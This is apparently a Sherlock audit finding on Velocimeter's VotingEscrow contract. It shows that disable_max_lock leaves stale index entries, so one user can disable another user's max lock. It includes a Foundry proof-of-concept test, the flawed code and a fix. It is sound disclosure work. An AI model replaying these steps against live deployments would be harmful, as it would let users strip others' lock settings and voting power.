Delightful Lavender Goose

Medium

# Incorrect `maxLockIdToIndex` value update in `disable_max_lock` creates unintended behaviour

## Summary
The `enable_max_lock` and `disable_max_lock` functions can be exploited to incorrectly manipulate and disable other user's max locks without any authorization.

## Vulnerability Detail
### Description:
The `enable_max_lock` and `disable_max_lock` functions in the contract are used to manage tokens with a maximum lock. The `max_locked_nfts` array keeps track of these locked tokens, and the `maxLockIdToIndex` mapping stores the index positions of these tokens in the array.

The following Proof of Concept (PoC) illustrates a potential vulnerability:

1. **Alice Creates Max Lock:**
    ```solidity
    maxLockIdToIndex[aliceToken] = 1
    max_locked_nfts = [aliceToken]
    ```
   - Alice enables max lock for her token. The index for Alice's token is set to 1, and the token is added to `max_locked_nfts`.

2. **Alice Disables Max Lock:**
    ```solidity
    maxLockIdToIndex[aliceToken] = 1 // @audit Error. When disabled, index should be set to 0.
    max_locked_nfts = [] // Empty
    ```
   - Alice disables the max lock. The index for her token is incorrectly not reset to 0, leaving it as 1. The `max_locked_nfts` array becomes empty.

3. **Bob Creates Max Lock:**
    ```solidity
    // @audit now both tokens are pointing to the same index.
    maxLockIdToIndex[aliceToken] = 1
    maxLockIdToIndex[bobToken] = 1
    max_locked_nfts = [bobToken]
    ```
   - Bob enables max lock for his token. Both Alice's and Bob's tokens are now pointing to the same index (1). The `max_locked_nfts` array incorrectly shows Bob's token.

4. **Alice Disables Max Lock of Bob:**
    ```solidity
    maxLockIdToIndex[aliceToken] = 0
    maxLockIdToIndex[bobToken] = 1
    max_locked_nfts = []
    ```
   - Alice disables the max lock, but the function incorrectly allows her to disable Bob's token. The index for Bob's token remains 1, and the `max_locked_nfts` array becomes empty.

## Impact
This vulnerability allows one user to disable another user's max lock, which will result in not regularly update users max lock to results in voting from decaying if the user fails to notice.

## POC 
```solidity
    function testCreateLockAndMaxLock() public {
        flowDaiPair.approve(address(escrow), TOKEN_1);
        uint256 lockDuration = 7 * 24 * 3600; // 1 week

        uint alice_token = escrow.create_lock(TOKEN_1, lockDuration);

        // escrow.max_lock(alice_token);

        // Enabling Max Lock
        escrow.enable_max_lock(alice_token);

        // Max LockId -> Index set 1.
        assertEq(escrow.maxLockIdToIndex(alice_token), 1);
        // And first index item will be token-1.
        assertEq(escrow.max_locked_nfts(0), alice_token);


        // Disabling Max Lock
        escrow.disable_max_lock(alice_token);
        // @audit maxLockIdToIndex should be 0, when disabled.
        assertEq(escrow.maxLockIdToIndex(alice_token), 1);

        // Index is set, but there is no item in the array actually.
        vm.expectRevert();
        escrow.max_locked_nfts(0);

        // Even the user can't enable it back.
        vm.expectRevert("enabled");
        escrow.enable_max_lock(alice_token);

        address bob = address(0x1337);
        FLOW.transfer(address(flowDaiPair), TOKEN_1);
        DAI.transfer(address(flowDaiPair), TOKEN_1);

        flowDaiPair.mint(bob);

        vm.startPrank(bob);
        flowDaiPair.approve(address(escrow), TOKEN_1);

        uint bob_token = escrow.create_lock(1337, lockDuration);

        escrow.enable_max_lock(bob_token);
        vm.stopPrank();

        assertEq(escrow.maxLockIdToIndex(alice_token), 1);
        assertEq(escrow.maxLockIdToIndex(bob_token), 1);

        assertEq(escrow.max_locked_nfts(0), bob_token);

        escrow.disable_max_lock(alice_token);

        assertEq(escrow.maxLockIdToIndex(alice_token), 0);
        assertEq(escrow.maxLockIdToIndex(bob_token), 1);

        vm.expectRevert();
        escrow.max_locked_nfts(0);

        vm.startPrank(bob);
        // Even the user can't enable it back.
        vm.expectRevert("enabled");
        escrow.enable_max_lock(bob_token);
    }
```
## Code Snippet
```solidity
    function disable_max_lock(uint _tokenId) external {
        assert(_isApprovedOrOwner(msg.sender, _tokenId));
        require(maxLockIdToIndex[_tokenId] != 0,"disabled");

        uint index =  maxLockIdToIndex[_tokenId] - 1;
        maxLockIdToIndex[_tokenId] = 0;

         // Move the last element into the place to delete
        max_locked_nfts[index] = max_locked_nfts[max_locked_nfts.length - 1];
        
        // update the index 
@>>     maxLockIdToIndex[max_locked_nfts[index]] = index + 1;
        
        // Remove the last element
        max_locked_nfts.pop();
    }
```
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L904
## Tool used

Manual Review

## Recommendation
```diff
    function disable_max_lock(uint _tokenId) external {
        assert(_isApprovedOrOwner(msg.sender, _tokenId));
        require(maxLockIdToIndex[_tokenId] != 0,"disabled");

        uint index =  maxLockIdToIndex[_tokenId] - 1;

        // Move the last element into the place to delete
        max_locked_nfts[index] = max_locked_nfts[max_locked_nfts.length - 1];

        if (index != max_locked_nfts.length - 1) {
          // update the index 
          maxLockIdToIndex[max_locked_nfts[index]] = index + 1;        
        }
        maxLockIdToIndex[_tokenId] = 0;
        
        // Remove the last element
        max_locked_nfts.pop();
    }
```